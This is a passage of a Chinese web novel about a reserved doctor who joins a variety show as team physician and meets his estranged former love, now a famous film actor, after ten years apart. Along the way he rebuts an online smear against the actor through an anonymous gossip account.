《营销号和影帝炒cp干嘛！》
1. 综艺
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“季杭。”
娄主任办公室里，季杭刚坐下，面前的主任就递过来一份合同。
“这是年前和那个综艺团队签好的合同，诶那综艺名叫什么来着，我忘了。”娄主任看着像是在走神的季杭，扣手敲了敲桌面，“想什么呢？”
季杭抬眸，语气没什么波澜，说：“《站在不同的门口》。”
娄主任长长地“哦”了一声，“不是，我也不是问这个。年前和他们签好合同了，过几天他们就开拍了，你答应了要去，没忘吧。”
季杭当然没忘。
年前有个综艺团队的商务来医院谈合作，因为拍摄内容又累又难，有一定的挑战，为了防止意外，团队给嘉宾和工作人员配两名随队医生。
娄主任收到医院的消息后，召集了自己科室的医生，午饭后在会议室开了个小会。
言简意赅讲了下这个事儿，娄主任问：“有人主动报名吗？”
没动静。
娄主任想着自己点俩人，别这么耗着。
突然门被敲响，随后打开个一肩宽的缝，外面的护士说：“娄主任，来了个头疼的病人，需要紧急出下门诊，您看哪位医生有……”
话还没说完，外面走廊里有几道急促的脚步声，听起来似乎是病人家属，路过时说的话从门缝里挤了进来：
“你没看错？那是司云起？”
“拜托，那可是司云起诶，就算墨镜帽子口罩都戴全了，光看个背影我也能认出来。”
“不过他来医院干嘛，不会是在剧组受伤了吧。”
“……”
“那个…好像确实有点像，”护士小声补充道，“但是哪位医生出下门诊？”
话音未落，会议室空。
本来大部分医生都不想去综艺当什么随队医生，听到有门诊要出，立刻和主任拜拜出去了。
护士的“一个就够”被淹没在脚步声和开门声中。
娄主任看看门，又看看会议室里静坐的两个人，很高兴：“你俩愿意？”
这两个人，其一是吴言。
吴言老婆怀孕了，他每天吃饭休息的时候都要和老婆打语音，进会议室时也是正戴着蓝牙耳机听老婆说话，进来后以为有什么重要的事，结果是个什么综艺，他就没再听，专心听老婆说话了。
所以他对前几秒大部分医生都出去的情况，还是比较茫然的。
其二是季杭。
原因无他，那么多优秀的医生都去了，病人不会有事。
至于他为什么依然坐在这里，如果非要有个原因，只能说：
出去后有可能见到那个疑似司云起的人。
还是算了。
“医院让尽快定下来，那就你俩吧。”娄主任决定道。
后来娄主任分别给了他们两份合同，季杭对待遇什么都不感兴趣，签下名字后就没再管。
迟迟没动静，又过了个年，季杭早就忘干净了，现在娄主任一提他才想起来。
“好，”季杭说的同时，口袋里的手机震动了一下。
“我打听了一下，都说这个团队挺好的，待遇伙食什么的都好，也特别重视团队和嘉宾的安全，要不人家也不会配随队医生，你去吧，前段时间手术太多，又有大大小小研讨会，我知道你累，就借着这个机会给自己放个小长假。”
季杭离开后，拿出手机，看到当时那声震动的来源——
[特别关注@司云起
#站在不同的门口#很荣幸加盟，希望我们旅途愉快。]
季杭：“……”
娄主任刚关上的门唰的一下被打开，季杭握着手机出现在门口，对他说：
“娄主任，这综艺我不去了。”
“……”娄主任问：“为什么？”
季杭：“我不想去。”
娄主任：“你！吴言昨天大半夜找我请假，说他老婆早产，去不了这综艺了。咱们医院的班都排好了，增派不了，人家团队表示理解，没和我们纠缠。你再不想去？要不我去？”
“谢谢主任，”季杭鞠躬。
娄主任：[焦头烂额.jpg]
“不是，你刚还说好，怎么出个门就变了？”
季杭想了想，说：“我刚知道，这综艺里有个人。”
娄主任：“？这综艺里都是人。”
季杭：“其中有一个，是我……死敌。”
娄主任长呼一口气：“死敌？你们年轻人用词还怪潮的。小事，你就放心去吧，谁天天生病受伤啊，正常情况下见不到面的。”
季杭理智上很清楚，在合同上签名按指纹的是他，本来定好了两位医生，因为不可抗因素只剩了自己，于情于理自己这边都不能再生事端。
他什么都清楚，可在看到微博推送的那一刻，还是要去拒绝一次。
其实他也说不上来这是什么心理。
好像只要自己拒绝过，即便不成功，那不久后的“可能遇见”这件事，他也能接受的坦然一些。
又好像，必须要做个没什么结果的拒绝，这样才能给十年来不断经历情绪反扑、不断被回忆拉扯的自己有个交代。
推开主任室门的那一刻，他动作很缓，慢慢想着：
司云起，这次有可能……是十年来我第一次不用隔着屏幕见你。
**
季杭平静地收拾了些医院的东西，平静地回家，平静地收拾衣物，平静地和综艺团队助理小悠联系。
等一切都准备好了，门铃一响，他就平静不了了。
岂止是平静不了，他甚至觉得眼前有些吵。
多年的好友曹书望在他面前走来走去喋喋不休：
“好好好，你要去参加综艺了是吧。”
"可以可以，年前你为了不见那个有可能是司云起的人才签了这合同，结果成了你今天必须去见他的祸根了？"
“这都什么事儿啊。”
“我知道你为难，知道你不愿意去，要不这样，反正剧组没见过你人，我替你去。”
曹书望越想越觉得这是个完美的主意，掏出手机就准备请假，“别急，反正咱们都是医生，就算全世界抛弃你也还有我这个兄弟，我马上请假！”
“书望，”季杭抬眼，平静地制止他并道出事实：“你是兽医。”
曹书望的手停了，嘴还在动：“兽医也是医，要是真赶上那司云起病了，我还能好好治治他，替你……”
“替我什么，”季杭说，“和你说过很多次了，他没有对不起我。”
曹书望不说话了。
等到他再说话时，是送季杭出门。在楼下刚站定，就有一辆埃尔法保姆车停在面前。
季杭正欲远离，副驾驶下来个人，说：“季医生是吧，我是剧组派来接你的。”
“……”曹书望看着停在门口的保姆车欲言又止。
工作人员下车帮季杭放好行李，又回了副驾驶。
季杭转身，对半天憋不出一声响的曹书望说：“我去了，有事微信联系。”
他坐进后排，瞥了眼面前略显草率的隔板，实在不清楚自己只是一个随队医生，至于要这样的车来接、还专门搞个隔板上去吗？
他想不通，也看不到前面。
门还没关，他偏脸看向依旧发愣的曹书望，“你到底想说什么。”
曹书望摸了摸车门，说：“这综艺团队真有钱，来接你的车都这么豪华。”
季杭作势要关门。
“诶诶诶，”曹书望立刻把话题拽回来，“其实我想说，你要好好回来！”
“我能出什么事儿么，”季杭极有耐心，“你别想了，我没事，也不会有事。”
说话间工作人员从前排副驾驶下来，曹书望嘴里还说着：“我还觉得，自从你知道司云起也参加这档综艺后，你平静地有点……”
当着工作人员的面，曹书望快速掐断了话，深深地看了季杭一眼。
工作人员笑着问：“季医
2. 随队医生
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“我刚才是不是说错话了？”李达看向开车的人，“我一直想和季医生搭话，但是他这人性格也太冷淡了吧，我说什么他都不理我。”
开车的人瞥了眼李达的包，问：“话梅还在你这儿？”
提起这个李达可算有的吐槽了，“不是我说你司老师，你俩很久没见面了吧，我都要直接塞进人季医生手里了，结果人家说不晕车！”
司云起抬手扶了下帽檐，趁这个空当，他看了李达一眼。
帽檐遮住投到眼睛上的光，便显得司云起眸色很深。他应该是没什么情绪，至少听刚才那句话并没有觉得他哪里不对劲。
但李达还是止了这个话题，默了几秒后试探着说：“季医生还是很关心你的。”
司云起目视前方，声音淡淡的：“细说。”
李达愣了：“什么？”
司云起：“怎么看出来他很关心我的，详细说说。”
“……”李达回想着刚刚的事情，“一开始我提你，季医生不接我的话嘛，后来他又主动问了，感觉就是很关心你。”
司云起好像忽然就开心起来了，压着嘴角，说：“当然。”
李达默默整理自己的小包，有一肚子话想问，但他很清楚什么话该讲什么话不该讲。
之前司云起还受公司的合约限制，自己也是经纪公司的员工。李达名义上是司云起的生活助理，但受到公司高层的指示，去监管司云起的私生活。最初他确实也这样做的，大小事情都上报公司。
后来发现司云起压根没有任何私生活。
甚至生活比他还简单。
渐渐的，公司也不要求他汇报了，因为都是同样的内容：不拍戏的时间在研修表演，自己做饭吃，去健身房，晚上会散步……
一模一样的信息，李达给公司报了15个月。
直到一个雨天，他忽然窥探到一个秘密——
那天李达去给司云起送资料，见到他家门开着，司云起淋着雨在门口找东西。
李达立刻上前，问司云起什么丢了。
司云起弯腰寻找，头也不抬地告诉他：“钥匙扣。”
最后是被李达找到的，他捡起来问：“司老师，是这个吗？”
忽的一道闪电划亮天际，映亮了他手里的钥匙扣和面前的司云起。
他顺着看清了钥匙扣里嵌进去的照片。
是一个很年轻的男生蹲在草地上和小狗握手，偏头看着镜头笑。
朝气蓬勃，澄澈阳光。
光亮一瞬即逝，李达问：“这是……”
纵使只一眼李达也能看出来这不是司云起。而这只是一个很简单的钥匙扣，上面并没带着钥匙。这样的前提下还这么宝贝钥匙扣，定然是这照片上的人很重要。
司云起接过钥匙扣握在手心，含混着雨声淡淡道：“你要上报公司么。”
闷雷轰隆一声响起，隔绝了他们说话的机会。
一瞬间李达想了很多，当耳边只剩雨声时，他回答道：“不会。”
司云起点点头，转身进了家。
这件事过后并无任何异常，他们继续着彼此的工作。直到去年年底，司云起和公司彻底决裂，三上法庭，付了巨额违约金脱离公司，成立自己的工作室。
还顺便买下了李达的合同，给他涨薪两倍。
李达从公司底层成为司云起的真正助理，内心一直感慨肯定是那个雨天自己说对了，就像是夺嫡时自己跟对了人，从小太监摇身一变成了大内总管。
他对司云起是一百个忠心。
所以司云起接下综艺却不官宣，官宣后又要自己开车接随队医生送去机场，自己送就自己送，还得弄个隔板挡住车前后排……这些他都很不理解，但都很赞同。
这车还是他找关系借的呢！
但见到季杭本人时，季医生的模样和钥匙扣上的少年极为相似，却多了些沉默寡淡。李达那瞬间明白了什么。
车停进车库，司云起摘了帽子下车，让李达去还。
“咱们是五点的机票，到了后就直接住进酒店了，明天剧组安排车送咱们到文山州，司老师，那边温度还是挺暖和的，不用带厚衣服。”李达边上车边嘱咐。
“嗯，”司云起扶着车门，提醒道：“之后免不了要和他打照面，如果他问你话你不知道怎么回答，一概说不知道。”
李达信誓旦旦地保证：“好，我知道了司老师。”
——
另一边，季杭在机场见到了小悠。
“什么？”小悠纳闷道，“你坐错车了？这咋还能坐错，不得核对一下乘客信息吗？”
季杭胡诌道：“他马马虎虎没核对，我也马马虎虎没问，下车后才知道坐错了，我给他加了100块钱。”
“以后可不能马马虎虎了季医生，”小悠想想都后怕，“你签给我们综艺了，这段时间你的安全就由我们团队负责，要是开车的是坏人可怎么办。”
没等季杭说话，小悠继续道：“司机不能这么不专业，没准就是看你长得帅呢！天呐想想都后怕，幸好把你送到了，以后上车前一定要注意！ ”
“……”季杭认可着点头。
候机时，季杭斟酌着问道：“小悠，团队里有个姓李的助理吗？”
“有个女生姓李，”小悠很快回答，“叫李茜，季医生你找她有啥事，我帮你联系。”
所以李达是谁。
那个开车的人，又是谁。
是……
季杭及时止住某个荒唐的想法，却不得不承认，在他向小悠隐瞒自己坐的那趟车时，其实就已经悄悄认定了那个想法。
下机后在酒店门口，季杭见到了三个嘉宾，是两个演员一个爱豆。
还有两个嘉宾没到，其中一个就是司云起。
季杭站在人群最外，看着嘉宾互相打招呼。他是没必要参与这种场合的，也不需要和任何人认识，正想先去酒店大堂办入住时，小悠叫住了他。
“季医生，”小悠走到他身边，对嘉宾们和另外的工作人员介绍道：“各位，这就是我们的随队医生，是二院派来的，姓季。”
“季医生好，”嘉宾们纷纷打招呼。
季杭笑的礼貌：“大家好，之后我会和大家同行，做大家有力的后援。当然，也希望大家都不会找我，让我悠闲地度过这段时间。”
在场的人都被他逗笑，小悠喊道：“我拉了个群聊，一会拉大家进去，之后信息都在群里发了哦，大家注意看。”
说完他们都进了酒店，在前台取房卡时，季杭手机响了几声。
是几个嘉宾进群聊的信息，他们正在互发消息。
季杭看了眼加入群聊的人，发现还没有司云起。
又是古怪的心思作祟，他找出自己的小号，改名“随队医生”，用在群里的大号把小号拉进去，然后大号退出了群聊。
小号刚进去，下面的提示便是：
【“小悠”邀请“司云起”加入了群聊】
季杭心猛地被攥了一下。
即便只是先后进入普通的一个群聊里，只是官方的系统提示信息挨在一起，他却依旧能因此生出些难言的情绪。
司云起的消息很快弹出来：【大家好，我是司云起。】
季杭匆匆挪开目光，连手机屏幕都忘了锁便放进上衣口袋。
拿着房卡上楼时手机连着好多声震动，季杭没理会，他能猜到是大家都在和司云起打招呼，文字和表情包什么的，所以才会一直响。
可他刚刷了房卡进门
3. “愿”是什么
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司云起此人——
身为影帝，前期在圈内摸爬滚打多年，后期终于扛起大男主剧本拿下最佳男演员。从未有绯闻，时常被对家买通稿造谣，但每次的黑料都不堪一击。安分守己踏实演戏好好纳税，是千万粉丝心中的好宝宝；
身为老板，对工资和假期都很慷慨，且没有老板病，是打工人心中的好老板；
身为演员，尊敬剧组内的所有工作人员，对搭档都很友好，是组内所有人心中的好同事；
但此人有时候，也挺让旁人抓狂的：
季杭因为他彻夜难眠；
李达在他刷屏时没忍住提醒了句【司老师，医生他可能就是这会儿没看手机】，刚发出去就听到司某人声音里浸着威胁，让他撤回，搞得他在助理圈里到处解释“我们司老师不是这样的啊他很正常你们不要误会他啊啊啊啊”；
韦流竹半夜梦到司云起也唰唰给他发了好多条消息，并且主动加了自己的好友，乐醒了，打开手机一看，无事发生。隔天早上一脸幽怨地盯着自己助理问为什么司云起不回复自己。
……
而他本人，因为睡前收到了回复，睡得十分满足。
早上因他没睡好的三个人都顶着黑眼圈，他倒是容光焕发精神很好。
下楼吃早饭时，司云起阖着眼睛，李达打着哈欠喋喋不休。
中途门开了一下，遇到了导演乔炎。
李达连忙打招呼，却见自己老板和导演全程无交流，内心不免有些担心——
司老师昨天在群里输出那么多，导演不会觉得他有病吧？不会不想搭理他吧？，那到时候剪辑把司老师的片段一剪没怎么办！
他本着在导演面前为司老师美言几句的意思，将喋喋不休的对象转化为乔炎。
电梯门开后，乔炎很礼貌地请他先出去。
李达傻呵呵出去了。
然后他转身，发现里面那俩人没动位置，甚至导演还在摁着关门。
“？”
只剩两个人了，乔炎看了司云起一眼，又目视前方，“今天开始拍摄了，镜头面前你要收敛些，不拍摄的时候随你怎么追人。”
司云起拿出手机看了一眼，声音懒散：“放心。”
乔炎闻言又看了他一眼，实在是难以把自己印象中的司云起和昨晚在群里的司云起结合在一起。
“你怎么……”乔炎欲言又止。
司云起尾音上挑：“嗯？”
乔炎状若不经意般提醒：“要友善对待嘉宾们。”
司云起退了微博，语焉不详：“乔导，你是说昨晚韦流竹拍了拍我么。”
乔炎没回话。
司云起抬手摁开电梯，戳破道：“导演，要不你也去拍拍他呢。”
电梯门打开，外面的李达诚惶诚恐：“司老师，导演，你们……”
“走了，”司云起跨步走出电梯。
在餐厅吃饭时，群聊里有一条新消息，@了所有人。
李达边看边说：“九点集合去文山州，嘉宾们是1车，后勤人员是2车，导演团队是3车。”
五位嘉宾在1车，路上要拍摄一些素材。
后勤人员包括助理们，还包括季杭。
司云起没看群消息，应了声：“嗯。”
大家都是收拾好后各自上车，司云起还算早，选了个最后面的位置。
十几分钟的时间里，人们纷纷上车。
韦流竹眼底下贴着两片眼贴，上车后看了一圈，和坐在最后的司云起，中排的两个演员邓承、潘同打了个招呼，然后坐在了前排。
“昨晚没睡好吗流竹，”摄像师调着角度问道。
韦流竹打了个哈欠，回道：“有一点点吧。”
邓承玩笑道：“还得是小韦长得白，像我这样的一晚上不睡黑眼圈也不显。”
韦流竹立刻回头道：“邓哥你可别取笑我了，今天第一天拍摄，我得有个好气色。”
潘同问：“咱们还有个女嘉宾是吗，快到了吗？”
“快了，”摄像师看了看表，“小悠说马上到了。”
刚说完车门处就冒出来个头，眼尖的韦流竹看到，“咦”了一声。
女嘉宾刚赶完舞台飞过来，还保留着舞台妆，扎了四个辫子散在肩上。
她几步坐上车，站在最前面，略拘谨地和各位前辈打招呼。
“各位前辈好，我叫艾宣，刚出道半年，很荣幸加入这档综艺，接下来还请前辈们多多照顾。”
“哈哈哈小艾别紧张，”邓承笑道，“你是刚赶完行程过来的？”
“对，”艾宣坐在了前排另一个空位上，转头回答，“来得晚了，还得让各位前辈们等我，真是不好意思。”
“这没什么，反正没到出发的时间。”
这句话落下后车厢内有短暂的安静，司机朝后看了看，确定人到齐了，便发了车。
摄像师要拍摄素材，嘉宾们都很配合，主动抛梗，两个年轻爱豆网速也快，很快就拍了七八条。
后来摄像师说：“各位，接下来你们会体验不同的角色，有什么要对综艺结束后的自己说的吗，我会留存起来，等到结束再回放。”
他的镜头先对准前排的艾宣，艾宣想了几秒，笑着说：“艾宣啊，你一路都很勇敢哦，以后的路也继续勇敢吧！”
随后是邓承，潘同，韦流竹。
最后是司云起。
摄像机在他的正前方，他没怎么犹豫，也没什么表情，问了句：“你得偿所愿了么。”
有些没头没脑的一句话，同行的嘉宾们并不显诧异，甚至邓承还转头问他：“你那个‘愿’是什么，需要哥帮忙吗？”
司云起回他：“不劳邓哥挂心。”
摄像师停了录像，说：“素材已经够了，艾宣刚结束舞台过来，也没休息，我看流竹也没休息好，应该还有两个多小时，各位老师们要是累了也可以睡会儿。”
这一刻，车上的人们才彻底放松。
司云起摸出手机，看到李达给他发的微信：
【司老师你看我和谁坐在一起！！！】
【图片.JPG】
【图片.JPG】
司云起点开图片加载，又挨张点了保存——
是季杭的侧身照。
司云起仗着自己坐在最后一排，在相册里又挨个点开放大看。
季杭穿了件黑色的冲锋衣，拉链拉在最上面，侧脸轮廓优越流畅，黑眸沉静，似乎是在盯着某一处发呆。
司云起看了又看，突然想到什么，切回微信问李达：【他问你什么了，你没说漏吧】
李达：【我没有。】
司云起看着这三个字，越看越不放心。
而李达也确实没说漏嘴，司云起之前告诉他的，他也好好践行了。
就比如
4. 借我瓶水
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临近中午，车厢内温度也高了。
季杭将衣服拉链往下拽了些，抬手整理衣领。
身旁有了动静，乔炎有了理由看人家。
这季医生长得确实帅，这是炎导的第一反应，怪不得司云起那家伙对他念念不忘。
等等……
因着季杭整理衣领，他颈间的一条素链落入乔炎眼中。
乔炎顺着看下去，发现素链下端，悬挂着一枚戒指。
他们本就挨在一起，乔炎视力也好，自然看得清楚——
戒指很素，没有任何款式，甚至在边缘还有一些氧化后变色的痕迹。素链绕着它转了两圈，所以它能牢牢地被固定，只在那一个位置。
乔炎不傻，这样一枚平平无奇甚至还有些土的旧戒指，被这样妥善地安放，一定有它的珍贵之处。
季杭理好衣服，下意识地碰了碰那枚戒指，摩挲了下才像是心归安处般放下手。
乔炎收回视线，低头刷手机。
没半分钟，一条醒目的标题出现在首页：
[司云起利用关系顶替新晋男流量加盟#站在不同的门口#]
点进去细看了一遍，乔炎摁了摁太阳穴，转头看大巴内的人，没找到宣发。
他点开微信，给宣发打了个语音。
“嗯，你也看到了？热度已经起来了，尽快澄清吧。”季杭听到乔炎这样说。
听不到对面说了什么，过了小一分钟乔炎才说：“你联系他工作室，尽快想办法。”说完就挂了电话，小声吐槽：“写的还挺真，要不是我知情还真骗了。”
季杭直觉和司云起有关，他打开手机，还不等搜索“司云起”的关键词，首页就是那条谣言。
内容无非是揪住了司云起在综艺开拍才宣布加盟。这营销号一通分析，又不知道从哪得知的综艺之前接触过某位新晋流量，而新晋流量并没有成为嘉宾，便指鹿为马，硬说司云起靠关系打压了那位流量，夺了人家的综艺资源。
不光文字言之凿凿，还有三张配图，两张是那位流量的帅照，第三张的图很糊，但也能看清楚背景是剧组，那个流量微微欠腰，前面站着司云起。俨然就是一副影帝仗着咖位高在剧组欺负小演员的样子。
文字+图片，已经被推送上了热门。
司云起工作室没澄清，综艺宣发没澄清，那位新晋流量，也没澄清。
新晋流量的粉丝恨不得把司云起撕了，边心疼自己哥哥边去官博和司云起微博底下骂。
不过司云起粉丝战斗力也很惊人，没让对方粉占上风。
季杭又酌字酌句看了一遍，明白了为什么导演让宣发和司云起工作室去沟通。
之前他听李达说漏了嘴，知道司云起早就接下了这档综艺，只是迟迟没宣布。具体为什么他也不清楚。
但这并不妨碍他反黑。
季杭从相册里翻了很久，找到两张很久之前的截图。
他点开微博，开始打字。
其实综艺宣发和司云起工作室都没发声明，无非就两点原因：
1.公布司云起签合同的日期，再澄清只是和那位流量接触过，双方并未达成合作协议。
但这又会被有心人利用，给司云起扣上“耍大牌”的帽子。就算嘉宾中他咖位最大流量最高，想压轴官宣也不至于到开拍前吧，别的嘉宾年前就官宣了。
2.司云起没当回事。
季杭之所以会想到第二点，是因为这十年里，司云起被黑粉和谣言攻击过太多次，之前的经纪公司从不理会，司云起本人也从未澄清。
次数多了，司云起本人都懒得去看这些所谓的爆料了。
但内娱有个营销号，昵称有些独特，一点也不像个营销号：借我瓶水。
这些年里关于司云起所有的黑料，基本上都是借我瓶水澄清的。
这次仍是。
季杭打着字，突然卡壳，那位新晋流量的名字叫什么来着……
“欧瑜！他是我前队友！”1车的韦流竹看着手机暴怒，“他这个人有靠山，姨父就是我们经纪公司的高管。当年我们组合出道，他空降进来你敢信？唱不行跳不行，还硬给他营销出个团内颜值担当！这人最擅长虐粉，老买营销说我们别的队友排斥他孤立他，还营销他有多努力多勤奋，最后我们这组合崩了，他背靠大树进军演艺圈。哎不是我说，就他那演技，稀碎！”
艾宣好奇道：“这上面第三张照片的角度好奇怪，怎么感觉是有人故意拍的。”
韦流竹：“他可太擅长装可怜了，从空降我们组合到现在，碰瓷虐粉不计其数，其实压根没人欺负过他！但每次都那么恰好，角度就是一副他受委屈的样子，每次都有营销号长篇大论说他被打压被霸凌，人家还每次都不表态不回应，让心疼他的粉丝更心疼了，我真无语！！！”
“反正我铁站司老师这边，”韦流竹气愤道。
邓承见他这么激动，也打开手机看了看，随后笑道：“小韦别生气，这不澄清的帖子已经被顶上来了。”
“？”韦流竹愣了一秒，随即打开手机，看到了一个熟悉的营销号：
借我瓶水。
借我瓶水两分钟前才发的微博，现在已经被司云起的粉丝顶到了热搜上。
不同于造谣营销号的长篇大论，借我瓶水编辑的微博很简单：
【图一：欧瑜拍戏ng十几次，惭愧向在场所有工作人员和搭档鞠躬原图。
图二：司云起从去年10月迄今全部行程，以及下个月的工作安排。】
粉丝们纷纷转发。
[我就说这个流量的名儿怎么这么眼熟，原来是之前和我们起子哥演过同一部电影。不过最后好像只有个背影，看来是演技不过关被一剪没了。]
[怎么什么人都能蹭我们起子哥的热度啊，这家我知道，出了名的虐粉达人，内娱苦欧瑜久矣，这次惹到我们可是踢到钢板了哦~]
[各位路人请悉知，所谓的“司云起打压小演员”都是无稽之谈！如图一原图所见，此照片是有人故意拍摄并且将其他人截去p走，在此刻放出来的心思昭然若揭。图二是司云起的工作行程，他很早之前就提过想参加综艺，但行程太满，不知道什么时候有机会。所以先前未官宣是行程不定，现在行程定了就官宣，尊重综艺不失约，爱护粉丝不遛粉。还请
5. 重逢
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当晚的内容拍摄完，嘉宾和导演团队互道辛苦。
李达凑到司云起身边，神神秘秘：“司老师，我找到那张原图首发了！”
司云起：“嗯？”
李达：“我可真是一通好找，各个软件用关键词搜索遍了，就是找不到！但你既然下了命令，即便把我眼睛看瞎了也得找到！”
司云起瞥了他一眼，抬手擦额边的汗，“在哪里。”
“我最后是以‘吐槽’为关键词，1000多条帖子里，沉在最下面最不起眼的一个标题里找到的！那条帖子真的沉在最下面，怪不得没有被粉丝们看到。标题是【吐槽贴，好讨厌】。发帖的人应该是刚建的号，怕被粉丝围攻，就没敢指名道姓，但发了这张图，说某明星不敬业耽误全组进度，人前一套人后一套。”
司云起重复：“你的意思是，想找到那张照片，要在1000多条帖子里一条一条翻。”
李达点头邀功：“还是在不带你大名为关键词的前提下！更难了！”
司云起好像忽然就高兴了，虽然李达不知道他为什么高兴。
“回去，洗澡，我要去见医生。”
转眼间司云起已经走远了。
李达：“？”
他跟在后面不得其解，打字问朋友：[弱弱的问，洗完澡去见医生是……为什么？]
朋友很快回复：[不知道啊，反正我们这边找医生看病之前不用先洗澡。]
李达：……？
团队内只有季杭一个随队医生，基本上每个房子里都有两个能住人的房间，但小悠特地没给季杭安排室友。
一是因为团队拍摄时间不定，季杭不必跟拍摄，所以可能会有吃饭睡觉不一个时间的情况；二来是有可能哪位伤了痛了要找季杭，多个室友不方便。
所以季杭自己一个空房子。
对此季杭很满意。
前提是……他此刻没有站在露空的院子里，也没有听到矮墙外正在交谈的声音。
夜色渺渺，月明星疏，空旷安静。
季杭怔怔站在院子里，听见外面的声音——
“司老师好巧。”
韦流竹的声音。
“出现在这里，不巧吧。”
司云起的声音。
韦流竹卡壳：“啊…我刚刚脖子好像扭了，想找季医生来看看。司老师你也不舒服吗？”
司云起“嗯”了声，而后转身看向季医生家的木门。
门是关着的，韦流竹喊了声：“季医生——季医生你在家吗？”
司云起不满地看了他一眼，十分有礼貌地上前，拽住门上的环，轻轻扣了三下。
院里季杭的心跟着猛跳了三下。
在巨大的心跳声中，他听到了熟悉的声音。这次却不用隔着屏幕，不用穿过耳机，而是真实的响在他耳边——
“季医生。”
之后是长久的安静。
以至于季杭缓缓走到门边的一步步，都如同淌过彼此不见的十年一般。
他垂眼看着自己的手摸到门栓，却感知不了它的存在。
门外没有声音，恍惚间让季杭觉得方才只是错觉，他不需要打开门，不需要打破他和司云起之间默契又平静了十年的、
分离。
再开口时，司云起声音更轻：“季医生。”他并未催促，眼睛却一眨不眨地看着面前的门。
随时准备着下一秒就能看见季杭。
季杭没有任何意识，看着自己的手拉开门栓，又看着门被自己拉开。
而后自己好像退了一步，抬眼时看到门外的司云起朝自己走近一步。
一退一进，成了他们阔别已久的相见。
他们在昏暗的环境里对上视线，彼此的轮廓变得锋锐冷硬，和十年前大相径庭，却又是彼此在这些年里，格外熟悉的模样。
可能是当初分开太仓促无果，也许是被曾经不可得之物困住，这一刻的他们并没有意识到：
那些彼此惦念的三千六百多个日夜，独自走过的漫长岁月，寥寥几句就能概括的过往，已经在这个安静的对视中焚烧殆尽。
仿佛十年前的那趟列车目的地就是这里，他们都在车上，并未分离。
自此，十年前和此刻串联在一起。
其中分开的十年。
不过如此。
……
季杭的手还放在门上，他动了动喉咙，发现自己无法言语。
这一刻的他没有办法正常寒暄，更做不出什么体面的动作。
原来不论提前设想演练多少次相见时的表现，当这一刻真的来临，他什么都演不出来。
他转身想逃离重逢的这一刻，手刚脱离门栓，突然被温热的触感攥住。
下一秒，他被一股力道带着，进入司云起的怀抱里。
……
他用力维持的疏离和体面，被这个怀抱烫开小孔，又以燎原之势燃烧殆尽。
喉间干涩，他不可自控地颤抖着。
或许是因为身体颤抖又发麻，以至于他无法感知到，其实这个怀抱，被司云起箍得很紧。
弯月浅浅一轮，几片云彩将它遮挡，又慢慢飘走。如此反复，那一点银白的光也随着慢慢的闪。
季杭视线中一片虚无，他阖上眼睛，忽然想到，美好的重逢里有一个拥抱。
可他和司云起的重逢，其实算不上美好。
久久无声，院中投到门口的光更加暗淡。借着这样的光，韦流竹站在一旁，看到了这位季医生垂在身侧颤抖的手。
季医生他怎么抖得这么厉害……
韦流竹默不作声地后退了几步，突然巷子口传来脚步声，他循声望去，看到有人朝正朝这边走。
太暗了看不清是谁，但他本能觉得该打断这两位。
于是他冲那人喊道：“你也来这边了呀。”
季杭猛的一抖，瞬间清醒过来，抬手推开司云起。
司云起是公众人物，一言一行都可能被有心人放大做文章，况且旁边还有韦流竹，季杭不会再给任何人机会拿到把柄。
他平稳声音，将一切揽到自己身上：“抱歉，之前看过司老师的电影，很喜欢，刚才很激动所以抱住了司老师，冒犯了。”
韦流竹不太明白，原来那么抖是因为太激动了吗，他很纳闷：“啊…可是我看着是司老师主动抱你的呀……”
季杭将手背到身后，指尖深陷手心：“你看错了，是我主动的。”
“好、好吧，”韦流竹觉得他们之间似乎有些隐情，但并不想窥探，顿了顿找话道，“那你们是不认识吗？啊，对，应该是不认识。要不
6. 心跳
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“很严重吗司老师？”韦流竹在后面小心翼翼地问，“这里设施不完善，要不我去和小悠说一声，让她找辆车送你去市里的医院。”
有韦流竹的打断，季杭得以从司云起目光中逃离。
他站起身，说：“你很健康，自觉心跳快是想多了或是刚做过剧烈运动，保持放松的心情会有一定帮助。”
司云起若有所思地“哦”了一声，抬手整理好衣领，站到一旁。
韦流竹看看季医生，又看看司云起，轻轻问：“是该我了吗？”
季杭点头，忽略司云起一直投过来的目光，问韦流竹：“脖子怎么了？”
韦流竹指着脖子上前，“季医生它好像扭了……”
在韦流竹走到季杭面前时，季杭忽地开口：“司老师，没什么事就请先回吧。”
司云起挑眉，道：“好。”
终于走了，季杭平稳心跳，问韦流竹：“哪里疼？怎么扭到的？”
韦流竹：“好像是扛树的时候，不小心扭了。当时没感觉，现在有点别扭。”
季杭在他疼的地方摁了摁，又碰碰别的位置问他疼不疼，他说不疼。
“没事，”季杭找出两贴膏药，“其实用不到，你睡一觉差不多就好了。”
“那季医生你为什么还给我膏药。”韦流竹问。
季杭：“给你个心理安慰，不用担心，不会影响拍摄的。”
韦流竹确实有些担心来着，他的公司特别注重艺人曝光，要是自己受伤或者不舒服影响拍摄，公司那边肯定会有谴责。
所以晚上拍摄结束后，他连助理都没敢告诉，以“散心”为由故意绕了好几圈才来找季杭。
“季医生，”韦流竹接过膏药，说：“谢谢你。”
“不谢，早点回去休息吧。”
韦流竹走的时候，背上还掉下来几小块木屑。
在他出门前，季杭没来由地问了句：“你们扛了很多树吗？”
韦流竹转头，说：“对，这期的内容是在景区刚开发的园区里栽梨树，要栽3000棵呢！”
“哦，”季杭点头。
韦流竹突然想到了什么，恍然道：“怪不得司老师说他心跳快，我心跳也快。”
季杭：“嗯？”
韦流竹解释道：“大卡车进不了村子，我们需要骑三轮车去村口拉树苗，然后把树苗扛到园区里面。买的是农户家栽了有几年了树苗，和手腕差不多粗。我和艾宣从卡车上往下卸，司老师邓哥潘哥装好拉过去。今天我们拉了一大半呢，而且按工作量来说，肯定是司老师他们更累。”
韦流竹摸摸自己的胸口，“我心跳也挺快的呢，司老师心跳快也很正常。”
季杭“嗯”了一声，感受着自己剧烈的心跳，突然发现自己自作多情了。
当听到司云起的心跳声时，他还真的以为那是因为他而变得剧烈。
可事实上司云起扛了那么多树，心跳一时之间没有平稳再正常不过了。
季杭转身找出四盒膏药，“你和嘉宾们住得近，可以把这个给他们吗，如果第二天醒了觉得酸疼可以贴一副。”
“好！”韦流竹乐呵地接过，“替他们也谢谢季医生！”
季杭看着他出门，顿了很久后才去关上门。
而后他僵站原地，抬手抚上胸口。
到这一刻他才意识到，他和司云起隔了十年的相见，就这样发生了。
他们的相见还有另外一个人的见证，所以自己装的陌生，司云起也乐于配合。
意料之外的是，自己竟然能得到一个长长的拥抱。
……
看起来司云起并不在意十年前的事情，他比自己体面。
那就好。
不在意就好，忘了就好。
